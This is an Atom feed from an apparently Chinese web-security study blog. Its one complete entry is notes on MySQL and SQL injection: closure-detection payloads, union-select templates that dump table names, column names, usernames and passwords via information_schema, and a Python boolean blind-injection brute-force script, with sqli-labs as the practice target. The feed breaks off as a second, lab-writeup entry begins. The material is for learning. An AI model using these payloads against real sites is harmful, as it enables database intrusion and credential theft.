<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>Maple(G7)</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <icon>https://gu-007.github.io/img/favicon.png</icon>
  <id>https://gu-007.github.io/</id>
  <link href="https://gu-007.github.io/" rel="alternate"/>
  <link href="https://gu-007.github.io/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, Maple(G7)</rights>
  <subtitle>The quieter you become, the more you are able to hear.</subtitle>
  <title>Maple(G7)'s WebSecDiary 🍁</title>
  <updated>2026-06-27T03:52:12.611Z</updated>
  <entry>
    <author>
      <name>Maple(G7)</name>
    </author>
    <category term="学习笔记" scheme="https://gu-007.github.io/categories/notes/"/>
    <category term="SQL注入" scheme="https://gu-007.github.io/tags/SQL%E6%B3%A8%E5%85%A5/"/>
    <category term="Web安全" scheme="https://gu-007.github.io/tags/Web%E5%AE%89%E5%85%A8/"/>
    <category term="数据库" scheme="https://gu-007.github.io/tags/%E6%95%B0%E6%8D%AE%E5%BA%93/"/>
    <content>
      <![CDATA[<h2 id="数据库"><a href="#数据库" class="headerlink" title="数据库"></a>数据库</h2><p><strong>数据库</strong>是一种用于收集已组织好的数据以便于搜索、结构化和扩充的存储系统。</p><p>网站开发中，大多数数据库采用关系型数据库管理系统（RDBMS）来组织数据，通过** SQL 语言**来编程。但有些数据库没有遵循上述的组织数据的机制，这类被称作 <strong>NoSQL 数据库</strong>。</p><p>被广泛使用的服务端关系型数据库有<strong>MySQL</strong>（或者它的分支 MariaDB）、SQL Server 和 Oracle Database 等。另一边，出名的 NoSQL 数据库有 MongoDB、Cassandra 和 Redis 等。</p><h3 id="MySQL"><a href="#MySQL" class="headerlink" title="MySQL"></a>MySQL</h3><ul><li><p>MySQL是开源的，而且可以根据不同的需求进行定制。我们通过客户端程序可以进行连接（比如PHP,Java,python等），然后还需要通过账号密码来登录。</p></li><li><p><strong>MySQL的基本命令操作:</strong></p><p><em><strong>SQL语法特点：</strong></em></p></li></ul><ol><li>以分号(;)结尾，且关键词不区分大小写（一般可以关键词全大写,与参数区分开）</li><li><code>#</code>：注释从#字符到行尾<br> <code>--</code> ：注释从 – 序列到行尾。使用此注释时，后面需要跟上一个或多个空格<br> <code>/* */</code>：注释从 &#x2F;* 序列到后面的 *&#x2F; 序列中间的字符。注意 <code>/*!*/</code> 不是注释，例如：<code>/*！55555,name*/</code> 意思是：若MySQL版本号大于等于5.55.55，语句将会被执行，如果！后面不加入版本号，MySQL将会直接执行SQL语句。</li></ol><p>  <em><strong>SQL语句</strong></em>：</p><ul><li><p><em><strong>DDL(Data Definition Language): 数据定义语言，操作整个库，表结构</strong></em><br>查看数据库列表 <code>show databases</code><br>创建数据库 <code>create database 数据库名称</code><br>删除数据库 <code>drop database 数据库名称</code><br>修改数据库 <code>alter database 数据库名称 charset=编码方式 -- 修改编码方式</code><br>使用数据库 <code>use 库名</code><br>查看当前正在使用的数据库 <code>select database()</code><br>创建数据表 <code>create table 表名(列名1 数据类型(可选),列名2 数据类型(可选)...);</code></p></li><li><p><em><strong>DML(Manipulation): 数据操作语言，操作表内部的数据</strong></em><br>insert插入一行数据 <code>insert into 表名 (列名1,列名2...) values (数据)</code><br>注：可以省略列名，这样插入的数据就会按列顺序依次插入对应的列;<br>可以只插入部分列，对应没有插入的列都会用null填充<br>delete删除数据 <code>delete from 表名 where 条件</code>(如果不设置where条件，那整个表的数据会被全部删除)<br>update修改数据 <code>update 表名 set 列=值,列=值.... where 条件</code></p></li><li><p><em><strong>DCL(Control): 数据控制语言，改变数据库和用户的权限</strong></em><br>创建用户 <code>CREATE USER 用户名@地址(@&#39;host&#39;) IDENTIFIED BY &#39;密码&#39;;</code><br>给用户授权 <code>GRANT 权限1, … , 权限n ON 数据库.对象 TO 用户名;</code><br>取消权限 <code>REVOKE 权限1, … , 权限n ON 数据库.对象 FROM 用户名;</code><br>查看用户权限 <code>show grants for 用户名;</code></p></li><li><p><em><strong>DQL(Query): 数据查询语言，用来查询数据</strong></em></p></li></ul>  <figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> 要查询的列名称(<span class="operator">*</span>表示所有列)</span><br><span class="line"><span class="keyword">FROM</span> 表名称</span><br><span class="line"><span class="keyword">WHERE</span> 限定条件 （ 行条件 ）</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> grouping_columns （对结果分组）</span><br><span class="line"><span class="keyword">HAVING</span> <span class="keyword">condition</span> （分组后的行条件 ）</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> sorting_columns （对结果排序）</span><br><span class="line">LIMIT offset_start，row_count （结果限定）</span><br></pre></td></tr></table></figure><p>  <strong>查询列</strong> <code>select * from 表名; --查询所有列</code><br>  <code>select 列名 from 表名; --查询指定列</code><br>  <strong>条件查询</strong> <code>select * from 表名 where 条件;</code><br>  <strong>模糊查询</strong><br>  <figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> test_table <span class="keyword">where</span> name <span class="keyword">like</span> <span class="string">&#x27;a%&#x27;</span>;</span><br><span class="line"><span class="comment">-- 模糊查询，只查询名字以a开头的一行</span></span><br><span class="line"><span class="string">&#x27;_&#x27;</span>:任意一个字符</span><br><span class="line"><span class="string">&#x27;%&#x27;</span>:任意多个字符(可以是<span class="number">0</span>个)</span><br></pre></td></tr></table></figure><br>  <strong>为结果排序</strong><br>  <code>select * from test_table order by age asc;</code>（asc是升序，desc是降序，默认是升序）<br>  <strong>分页查看查询结果</strong><br>  <figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> test_table limit <span class="number">0</span>,<span class="number">2</span></span><br><span class="line"><span class="comment">-- limit 0,2 表示从第0行开始，只显示2行记录</span></span><br></pre></td></tr></table></figure><br>  <strong>联合查询</strong><br>  <figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> table1 <span class="keyword">union</span> <span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> test_table;</span><br><span class="line"><span class="comment">-- union 合并前后两个(或者多个)select的结果，默认去重</span></span><br><span class="line"><span class="comment">-- 两个表的字段数(列数)必须相同，且对应列的数据类型应兼容（MySQL 不强制相同，但最好一致）</span></span><br></pre></td></tr></table></figure></p><ul><li><strong>MySQL使用</strong><br>先进入mysql的安装目录（PHPStudy安装的，在PHPStudy 中的Extensions\MySQL…\bin）<br>然后输入命令：<code>mysql -u root(用户名) -p</code>，在输入密码，连接上以后就可以通过命令行执行SQL语句了，可以打 <code>\h</code> 自行探索</li></ul><h2 id="SQL注入"><a href="#SQL注入" class="headerlink" title="SQL注入"></a>SQL注入</h2><h3 id="SQL注入原理"><a href="#SQL注入原理" class="headerlink" title="SQL注入原理"></a>SQL注入原理</h3><ul><li>SQL注入产生的原因：<br>当web应用向后台数据库传递SQL语句进行数据库操作时，如果对用户输入的参数没有经过严格的过滤处理，那么攻击者就可以构造特殊的SQL语句，直接输入数据库引擎执行，获取或修改数据库中的数据。</li><li>SQL注入的本质：<br>服务器把用户的输入作为SQL语句的一部分来执行，违背了”数据和代码分离原则”<br><strong>万能密码</strong> <code>1&#39; or &#39;1&#39; = &#39;1</code></li></ul><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">原始查询：<span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> username<span class="operator">=</span><span class="string">&#x27;admin&#x27;</span> <span class="keyword">AND</span> password<span class="operator">=</span><span class="string">&#x27;$password&#x27;</span></span><br><span class="line">输入密码：<span class="number">1</span><span class="string">&#x27; or &#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span></span><br><span class="line">拼接后：  <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> username<span class="operator">=</span><span class="string">&#x27;admin&#x27;</span> <span class="keyword">AND</span> password<span class="operator">=</span><span class="string">&#x27;1&#x27;</span> <span class="keyword">or</span> <span class="string">&#x27;1&#x27;</span><span class="operator">=</span><span class="string">&#x27;1&#x27;</span></span><br><span class="line"><span class="comment">-- &#x27;1&#x27;=&#x27;1&#x27;是恒真的，所以整个判断语句也一定为真</span></span><br></pre></td></tr></table></figure><h3 id="SQL注入常用函数与系统表"><a href="#SQL注入常用函数与系统表" class="headerlink" title="SQL注入常用函数与系统表"></a>SQL注入常用函数与系统表</h3><h4 id="1-信息获取函数"><a href="#1-信息获取函数" class="headerlink" title="1. 信息获取函数"></a>1. 信息获取函数</h4><table><thead><tr><th>函数</th><th>返回值</th><th>示例</th></tr></thead><tbody><tr><td><code>database()</code></td><td>当前数据库名</td><td><code>SELECT database();</code></td></tr><tr><td><code>version()</code></td><td>MySQL 版本</td><td><code>SELECT version();</code></td></tr><tr><td><code>user()</code></td><td>连接数据库的用户</td><td><code>SELECT user();</code></td></tr><tr><td><code>@@datadir</code></td><td>数据目录路径</td><td><code>SELECT @@datadir;</code></td></tr></tbody></table><h4 id="2-字符串处理（常用于注入）"><a href="#2-字符串处理（常用于注入）" class="headerlink" title="2. 字符串处理（常用于注入）"></a>2. 字符串处理（常用于注入）</h4><table><thead><tr><th>函数</th><th>作用</th><th>示例</th></tr></thead><tbody><tr><td><code>group_concat(col)</code></td><td>将多行某列拼接为单行字符串，默认逗号分隔</td><td><code>SELECT group_concat(username) FROM users;</code></td></tr><tr><td><code>concat(a,b,c)</code></td><td>连接多个字符串</td><td><code>SELECT concat(&#39;a&#39;,&#39;b&#39;,&#39;c&#39;);</code> → <code>abc</code></td></tr><tr><td><code>concat_ws(sep,a,b)</code></td><td>带分隔符的连接</td><td><code>SELECT concat_ws(&#39;,&#39;,&#39;a&#39;,&#39;b&#39;);</code> → <code>a,b</code></td></tr><tr><td><code>length(str)</code></td><td>返回字符串长度</td><td><code>SELECT length(&#39;abc&#39;);</code> → <code>3</code></td></tr><tr><td><code>substr(str,pos,len)</code></td><td>截取子串</td><td><code>SELECT substr(&#39;abc&#39;,2,1);</code> → <code>b</code></td></tr></tbody></table><h4 id="3-系统数据库-information-schema"><a href="#3-系统数据库-information-schema" class="headerlink" title="3. 系统数据库 information_schema"></a>3. 系统数据库 <code>information_schema</code></h4><p>MySQL 自带，存储所有数据库的元数据。即使权限受限，一般也能读取。</p><p><strong>常用表：</strong></p><ul><li><code>tables</code>：包含 <code>table_schema</code>（库名）、<code>table_name</code>（表名）</li><li><code>columns</code>：包含 <code>table_schema</code>、<code>table_name</code>、<code>column_name</code></li></ul><p><strong>典型查询：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 查询某库下的所有表</span></span><br><span class="line"><span class="keyword">SELECT</span> table_name <span class="keyword">FROM</span> information_schema.tables <span class="keyword">WHERE</span> table_schema<span class="operator">=</span><span class="string">&#x27;库名&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查询某表的所有列</span></span><br><span class="line"><span class="keyword">SELECT</span> column_name <span class="keyword">FROM</span> information_schema.columns <span class="keyword">WHERE</span> table_schema<span class="operator">=</span><span class="string">&#x27;库名&#x27;</span> <span class="keyword">AND</span> table_name<span class="operator">=</span><span class="string">&#x27;表名&#x27;</span>;</span><br></pre></td></tr></table></figure><h3 id="注入点闭合方式识别"><a href="#注入点闭合方式识别" class="headerlink" title="注入点闭合方式识别"></a>注入点闭合方式识别</h3><h4 id="1-为什么需要识别闭合方式？"><a href="#1-为什么需要识别闭合方式？" class="headerlink" title="1. 为什么需要识别闭合方式？"></a>1. 为什么需要识别闭合方式？</h4><p>后端 SQL 语句中，用户输入的参数可能被单引号、双引号、括号等字符包裹。注入时必须先<strong>闭合</strong>这些包裹符，并用注释符（如 <code>--+</code> 或 <code>#</code>）截断后续的 SQL 片段，否则构造的恶意语句会产生语法错误，导致注入失败。</p><h4 id="2-通用探测方法"><a href="#2-通用探测方法" class="headerlink" title="2. 通用探测方法"></a>2. 通用探测方法</h4><p>依次提交以下 payload，观察页面变化（从正常显示 → 报错 → 恢复正常）：</p><table><thead><tr><th>Payload</th><th>预期恢复正常的情况</th><th>推断的闭合方式</th></tr></thead><tbody><tr><td><code>1&#39; --+</code></td><td>恢复正常</td><td>单引号 <code>&#39;</code></td></tr><tr><td><code>1&quot; --+</code></td><td>恢复正常</td><td>双引号 <code>&quot;</code></td></tr><tr><td><code>1&#39;) --+</code></td><td>恢复正常</td><td>单引号 + 右括号 <code>&#39;)</code></td></tr><tr><td><code>1&quot;) --+</code></td><td>恢复正常</td><td>双引号 + 右括号 <code>&quot;)</code></td></tr><tr><td><code>1&#39;)) --+</code></td><td>恢复正常</td><td>两个右括号 + 单引号 <code>&#39;))</code></td></tr><tr><td><code>1&quot;))) --+</code></td><td>恢复正常</td><td>多括号嵌套（类推）</td></tr></tbody></table><blockquote><p>注：<code>--+</code> 中 <code>+</code> 在 URL 中被解码为空格，作为注释符。也可使用 <code>#</code>（需编码为 <code>%23</code>）或 <code>--%20</code>。  </p></blockquote><h4 id="3-验证方法"><a href="#3-验证方法" class="headerlink" title="3. 验证方法"></a>3. 验证方法</h4><p>找到疑似闭合方式后，用逻辑条件测试：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?id=1[闭合符] and 1=1 --+   → 正常显示</span><br><span class="line">?id=1[闭合符] and 1=2 --+   → 无显示</span><br></pre></td></tr></table></figure><p>若满足上述差异，则闭合方式正确。</p><h4 id="4-常见闭合方式速查表"><a href="#4-常见闭合方式速查表" class="headerlink" title="4. 常见闭合方式速查表"></a>4. 常见闭合方式速查表</h4><table><thead><tr><th>后端 SQL 示例（伪代码）</th><th>闭合方式</th><th>测试 Payload</th></tr></thead><tbody><tr><td><code>WHERE id = $id</code></td><td>无（数字型）</td><td><code>1 and 1=1</code></td></tr><tr><td><code>WHERE id = &#39;$id&#39;</code></td><td><code>&#39;</code></td><td><code>1&#39; and 1=1 --+</code></td></tr><tr><td><code>WHERE id = &quot;$id&quot;</code></td><td><code>&quot;</code></td><td><code>1&quot; and 1=1 --+</code></td></tr><tr><td><code>WHERE id = (&#39;$id&#39;)</code></td><td><code>&#39;)</code></td><td><code>1&#39;) and 1=1 --+</code></td></tr><tr><td><code>WHERE id = (&quot;$id&quot;)</code></td><td><code>&quot;)</code></td><td><code>1&quot;) and 1=1 --+</code></td></tr><tr><td><code>WHERE id = ((&#39;$id&#39;))</code></td><td><code>&#39;))</code></td><td><code>1&#39;)) and 1=1 --+</code></td></tr></tbody></table><h4 id="5-小技巧"><a href="#5-小技巧" class="headerlink" title="5. 小技巧"></a>5. 小技巧</h4><ul><li>先尝试最简单的 <code>&#39;</code> 和 <code>&quot;</code>，如果不成功再加括号。</li><li>观察错误信息中回显的 SQL 片段，有时会直接提示闭合字符（例如 <code>near &#39;&#39;1&#39;&#39;) LIMIT</code> 暗示了 <code>&#39;)</code>）。</li><li>如果页面完全没有错误回显（盲注），则需要通过布尔或时间差异来盲猜闭合方式，效率较低，优先尝试常见组合。</li></ul><h3 id="SQL注入方法"><a href="#SQL注入方法" class="headerlink" title="SQL注入方法"></a>SQL注入方法</h3><h4 id="1-联合查询注入"><a href="#1-联合查询注入" class="headerlink" title="1. 联合查询注入"></a>1. 联合查询注入</h4><h5 id="1-1-什么是联合查询注入"><a href="#1-1-什么是联合查询注入" class="headerlink" title="1.1 什么是联合查询注入"></a>1.1 什么是联合查询注入</h5><p>攻击者利用 SQL 的 <code>UNION</code> 关键字，将自定义的 <code>SELECT</code> 语句结果附加到原始查询结果之后，从而在页面回显位置直接获取数据库中的敏感信息。</p><h5 id="1-2-适用条件"><a href="#1-2-适用条件" class="headerlink" title="1.2 适用条件"></a>1.2 适用条件</h5><ul><li>存在 SQL 注入漏洞。</li><li>页面有明确的回显位（即查询结果中的某些列会被输出到页面）。</li><li>攻击者能够控制 <code>UNION</code> 后面的查询语句。</li></ul><h5 id="1-3-核心原理"><a href="#1-3-核心原理" class="headerlink" title="1.3 核心原理"></a>1.3 核心原理</h5><p><code>UNION</code> 操作符用于合并两个或多个 <code>SELECT</code> 语句的结果集。使用时有两条硬性规则：</p><ol><li><strong>列数必须相同</strong>：所有 <code>SELECT</code> 语句必须返回相同数量的列。</li><li><strong>数据类型应兼容</strong>：对应列的数据类型必须能隐式转换（注入中常用数字 <code>1,2,3</code> 占位，因为数字与大多数字符串类型兼容）。</li></ol><h5 id="1-4-不同闭合方式的-Payload-示例"><a href="#1-4-不同闭合方式的-Payload-示例" class="headerlink" title="1.4 不同闭合方式的 Payload 示例"></a>1.4 不同闭合方式的 Payload 示例</h5><ul><li><strong>数字型</strong>（无闭合）：<code>?id=-1 union select 1,2,3</code><br>注：数字型一般不需要注释符，但如果原语句后面还有其他条件导致报错，可加 <code>--+</code> 注释。</li><li><strong>单引号字符型</strong>：<code>?id=-1&#39; union select 1,2,3 --+</code></li><li><strong>双引号字符型</strong>：<code>?id=-1&quot; union select 1,2,3 --+</code></li><li><strong>单引号+括号</strong>：<code>?id=-1&#39;) union select 1,2,3 --+</code></li><li><strong>双引号+括号</strong>：<code>?id=-1&quot;) union select 1,2,3 --+</code></li></ul><h5 id="1-5-注："><a href="#1-5-注：" class="headerlink" title="1.5 注："></a>1.5 注：</h5><ol><li><p><strong>用 <code>ORDER BY N</code> 探测原始查询的列数</strong></p><blockquote><p><code>ORDER BY N</code> 表示按查询结果的<strong>第 N 列</strong>进行排序。如果实际结果只有 M 列，执行 <code>ORDER BY M+1</code> 时，数据库会因找不到该列而报错。因此，通过递增 N 直到报错，可以确定原始查询的列数。  </p></blockquote></li><li><p><strong>构造 <code>UNION SELECT 1,2,3,...</code> 时使原始查询结果为空，例如设置 <code>id=-1</code></strong></p><blockquote><p>当使用 <code>UNION SELECT</code> 时，数据库会返回两行（或更多）结果:<br>第一行：原始查询的结果（比如正常 id 对应的数据）。<br>第二行：<code>UNION</code> 附加的自定义数据。<br>应用程序通常<strong>只取结果集中的第一行</strong>来显示。若第一行有数据，自定义数据就不会被看到。因此，需要让原始查询返回空结果集。常用手法是给参数一个<strong>不存在</strong>的值（如 <code>-1</code>、<code>9999</code>、<code>111</code>），使原始查询无记录，从而只显示 <code>UNION</code> 后的内容。  </p></blockquote></li><li><p><strong>显示位的概念</strong></p><blockquote><p>即使查询返回多列，页面也只会展示其中特定几列。例如 sqli-labs Less-1 中页面有 <code>Your Login name:</code> 和 <code>Your Password:</code> 两个输出位置，分别对应结果集的第 2 列和第 3 列。这两个位置就是<strong>显示位</strong>。攻击时需要先确定哪些列的数据会被回显，然后将恶意查询的结果放在这些列上。<br>确定显示位的方法(以单引号字符型为例)：</p></blockquote></li></ol><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id<span class="operator">=</span><span class="number">-1</span><span class="string">&#x27; UNION SELECT 1,2,3 --+</span></span><br></pre></td></tr></table></figure><h5 id="1-6-典型-Payload-模板-以单引号字符型为例"><a href="#1-6-典型-Payload-模板-以单引号字符型为例" class="headerlink" title="1.6 典型 Payload 模板(以单引号字符型为例)"></a>1.6 典型 Payload 模板(以单引号字符型为例)</h5><p><strong>思路</strong>：</p><blockquote><p>1.判断注入点（引号、注释、真假条件）。<br>2.判断列数（order by）。<br>3.尝试 union 看是否有回显（显示位）。<br>4.如有回显 → 用联合查询直接拿数据。<br>  如无回显 → 考虑布尔盲注或时间盲注。  </p></blockquote><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 假设注入点闭合字符为单引号，注释符为 --</span></span><br><span class="line"><span class="comment">-- 探测列数</span></span><br><span class="line">?id<span class="operator">=</span><span class="number">1</span><span class="string">&#x27; ORDER BY 3 --+</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 确定显示位</span></span><br><span class="line"><span class="string">?id=-1&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span> <span class="comment">--+</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 获取当前数据库名</span></span><br><span class="line">?id<span class="operator">=</span><span class="number">-1</span><span class="string">&#x27; UNION SELECT 1,2,database() --+</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 获取表名（利用 information_schema）</span></span><br><span class="line"><span class="string">?id=-1&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="number">1</span>,<span class="number">2</span>,group_concat(table_name) <span class="keyword">FROM</span> information_schema.tables <span class="keyword">WHERE</span> table_schema<span class="operator">=</span><span class="string">&#x27;database_name&#x27;</span> <span class="comment">--+</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 获取列名</span></span><br><span class="line">?id<span class="operator">=</span><span class="number">-1</span><span class="string">&#x27; UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema=&#x27;</span>database_name<span class="string">&#x27; AND table_name=&#x27;</span>table_name<span class="string">&#x27; --+</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 获取数据</span></span><br><span class="line"><span class="string">?id=-1&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="number">1</span>,group_concat(username),group_concat(password) <span class="keyword">FROM</span> database_name.table_name <span class="comment">--+</span></span><br></pre></td></tr></table></figure><hr><h4 id="2-布尔盲注（Boolean-Blind-Injection）"><a href="#2-布尔盲注（Boolean-Blind-Injection）" class="headerlink" title="2. 布尔盲注（Boolean Blind Injection）"></a>2. 布尔盲注（Boolean Blind Injection）</h4><h5 id="2-1-原理"><a href="#2-1-原理" class="headerlink" title="2.1 原理"></a>2.1 原理</h5><p>布尔盲注适用于<strong>页面无数据回显</strong>，但可以根据 SQL 条件真假呈现不同页面内容（例如正常页面 vs 空白页面，或出现不同提示文字）的场景。攻击者通过构造 <code>and [条件]</code> 形式的注入语句，利用页面状态的差异，逐位推断数据库中的数据。</p><h5 id="2-2-适用条件"><a href="#2-2-适用条件" class="headerlink" title="2.2 适用条件"></a>2.2 适用条件</h5><ul><li>存在 SQL 注入漏洞。</li><li>页面没有回显位（不能使用 <code>union select</code> 直接输出数据）。</li><li>页面存在明显的”真&#x2F;假”状态差异（比如：条件为真时显示正常内容，为假时无内容或报错）。</li></ul><h5 id="2-3-核心函数"><a href="#2-3-核心函数" class="headerlink" title="2.3 核心函数"></a>2.3 核心函数</h5><table><thead><tr><th>函数</th><th>作用</th><th>布尔盲注中的典型用法</th></tr></thead><tbody><tr><td><code>length(str)</code></td><td>返回字符串长度</td><td><code>length(目标表达式) = N</code> 判断长度是否为 N</td></tr><tr><td><code>substr(str, pos, len)</code></td><td>截取子串</td><td><code>substr(目标表达式, 位置, 1)</code> 取单个字符</td></tr><tr><td><code>ascii(char)</code></td><td>返回字符 ASCII 码</td><td><code>ascii(单字符) = 码值</code> 判断字符</td></tr><tr><td><code>count(*)</code></td><td>统计行数</td><td>获取表或列的数量</td></tr></tbody></table><h5 id="2-4-通用获取步骤"><a href="#2-4-通用获取步骤" class="headerlink" title="2.4 通用获取步骤"></a>2.4 通用获取步骤</h5><p><strong>1. 确定目标字符串长度</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">and</span> length((子查询)) <span class="operator">=</span> N</span><br></pre></td></tr></table></figure><p>从 N&#x3D;1 开始递增，直到页面正常，即获得长度 L。</p><p><strong>2. 逐字符获取内容</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">and</span> ascii(substr(子查询, 位置, <span class="number">1</span>)) <span class="operator">=</span> ASCII码</span><br></pre></td></tr></table></figure><ul><li>位置从 1 到 L。</li><li>ASCII码 从 32（空格）到 126（<code>~</code>）遍历，命中时记录字符。</li><li>最终拼接出完整字符串。</li></ul><p><strong>3. 枚举数据（表名、列名、数据）</strong></p><ul><li>表名：子查询为 <code>select table_name from information_schema.tables where table_schema=database() limit N,1</code></li><li>列名：子查询为 <code>select column_name from information_schema.columns where table_schema=database() and table_name=&#39;表名&#39; limit N,1</code></li><li>数据：子查询为 <code>select 列名 from 表名 limit N,1</code></li></ul><blockquote><p><strong><code>limit N,1</code> 的作用</strong>：跳过 N 条记录，取接下来的 1 条记录。这样可以通过改变 N 的值（0,1,2,…）依次获取每条数据。</p></blockquote><h5 id="2-5-效率与自动化"><a href="#2-5-效率与自动化" class="headerlink" title="2.5 效率与自动化"></a>2.5 效率与自动化</h5><ul><li>通常借助脚本或工具（如 sqlmap）实现自动化。</li><li>脚本核心逻辑（伪代码）：</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 以单引号字符型为例，实际使用时根据注入点调整闭合前缀和注释符</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">test</span>(<span class="params">condition</span>):</span><br><span class="line">    payload = <span class="string">f&quot;1&#x27; and <span class="subst">&#123;condition&#125;</span> #&quot;</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;成功标志&quot;</span> <span class="keyword">in</span> requests.get(url, params=&#123;<span class="string">&quot;id&quot;</span>: payload&#125;).text</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取长度</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">31</span>):</span><br><span class="line">    <span class="keyword">if</span> test(<span class="string">f&quot;length((子查询)) = <span class="subst">&#123;i&#125;</span>&quot;</span>):</span><br><span class="line">        length = i; <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取字符串</span></span><br><span class="line">result = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> pos <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, length+<span class="number">1</span>):</span><br><span class="line">    <span class="keyword">for</span> code <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">32</span>, <span class="number">127</span>):</span><br><span class="line">        <span class="keyword">if</span> test(<span class="string">f&quot;ascii(substr((子查询), <span class="subst">&#123;pos&#125;</span>, 1)) = <span class="subst">&#123;code&#125;</span>&quot;</span>):</span><br><span class="line">            result += <span class="built_in">chr</span>(code); <span class="keyword">break</span></span><br></pre></td></tr></table></figure><h5 id="2-6-注意事项"><a href="#2-6-注意事项" class="headerlink" title="2.6 注意事项"></a>2.6 注意事项</h5><ul><li>注释符推荐使用 <code>#</code>（在 URL 中会被正确编码为 <code>%23</code>），避免 <code>--+</code> 的编码问题。</li><li>如果目标字符串可能包含非打印字符或中文，ASCII 范围可扩展至 0~255，但请求量会增加。</li><li>实际测试中可先用<strong>二分法</strong>优化 ASCII 遍历，减少请求次数。</li></ul>]]>
    </content>
    <id>https://gu-007.github.io/posts/sql-injection-notes.html</id>
    <link href="https://gu-007.github.io/posts/sql-injection-notes.html"/>
    <published>2026-05-04T16:00:00.000Z</published>
    <summary>SQL注入基础知识整理，包括MySQL基本操作、注入原理、常用函数与系统表、注入点闭合方式识别、联合查询注入、布尔盲注等方法论</summary>
    <title>SQL注入知识整理</title>
    <updated>2026-06-27T03:52:12.611Z</updated>
  </entry>
  <entry>
    <author>
      <name>Maple(G7)</name>
    </author>
    <category term="靶场通关" scheme="https://gu-007.github.io/categories/labs/"/>
    <category term="SQL注入" scheme="https://gu-007.github.io/tags/SQL%E6%B3%A8%E5%85%A5/"/>
    <category term="sqli-labs" scheme="https://gu-007.github.io/tags/sqli-labs/"/>
    <category term="Writeup" scheme="https://gu-007.github.io/tags/Writeup/"/>
    <category term="靶场" scheme="https://gu-007.github.io/tags/%E9%9D%B6%E5%9C%BA/"/>
    <content>
